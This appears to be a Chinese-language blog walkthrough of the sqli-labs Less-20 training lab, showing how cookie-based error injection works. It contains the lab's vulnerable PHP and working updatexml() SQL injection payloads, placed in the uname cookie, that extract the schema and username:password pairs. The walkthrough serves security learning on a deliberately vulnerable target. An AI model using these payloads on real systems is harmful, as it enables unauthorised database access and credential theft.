1. 思路🚀
本關的SQL語句為:
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
- 注入類型:字符串型(單引號包裹)、GET操作
- 提示:參數需以
'
閉合 - 關鍵參數:
cookee
php
輸出語句的部分代碼:
if(!isset($_POST['submit']))
{ $cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo '<br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);......
}
本關卡的關鍵回顯語句是echo "YOUR COOKIE : uname = $cookee...
,需通過正確的賬號密碼后才會正確回顯信息,并且已知正確的賬號和密碼,暫且每次提交的賬號密碼都是admin
,根據提示配合報錯盲注
。
2. 手工注入步驟🎯
2.1. 獲悉Cookie格式?
下圖是使用Burpsuite的Repeater
抓取數據包得到的帶有Cookie
的請求格式,需要注意的是會有2個請求,先是POST請求,再是GET請求,只有GET請求中才攜帶Cookie
。
既然知道了格式,下面用HackBar
操作,接下來的過程只需要將下面的Cookies
放入對應位置,粘貼即可。
2.2. 獲取基本信息?
接下來配合updatexml
函數實現報錯盲注:
uname=1' and updatexml(1,concat(1,(select database())),3) #
2.3. 獲取表名?
uname=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
2.4. 獲取字段?
uname=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
2.5. 獲取數據?
下面是獲取一個用戶的sql語句,修改limit
偏移量可獲取其余用戶的賬號密碼信息。
uname=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) #
2.6. 參數匯總表?
參數 | 作用 | 示例 |
---|---|---|
' | 閉合符號 | id=1' |
# | 注釋符 | #' |
updatexml() | 報錯注入函數 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函數 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系統數據庫 | from information_schema.tables |
table_schema | 數據庫名稱 | table_schema='security' |
table_name | 數據表名稱 | table_name='users' |
column_name | 字段名稱 | group_concat(column_name) |
3. 總結🏁
HTTP Cookie(通常簡稱 Cookie)是 ??服務器發送到用戶瀏覽器并保存在本地的一小段數據??。瀏覽器會在后續的 HTTP 請求中自動攜帶該 Cookie,以便服務器識別用戶身份或存儲用戶偏好。
本關卡在http
請求頭中的Cookie
做文章,為了達到sql注入的效果,需同時配合報錯盲注獲取數據。復雜點的Cookie注入見文章"sqli-labs:Less-21關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149865370?spm=1011.2415.3001.5331
有關報錯盲注的解析,關卡5最為詳細,歡迎移步"sqli-labs:Less-5關卡詳細解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
聲明:本文僅用于安全學習,嚴禁非法測試! ???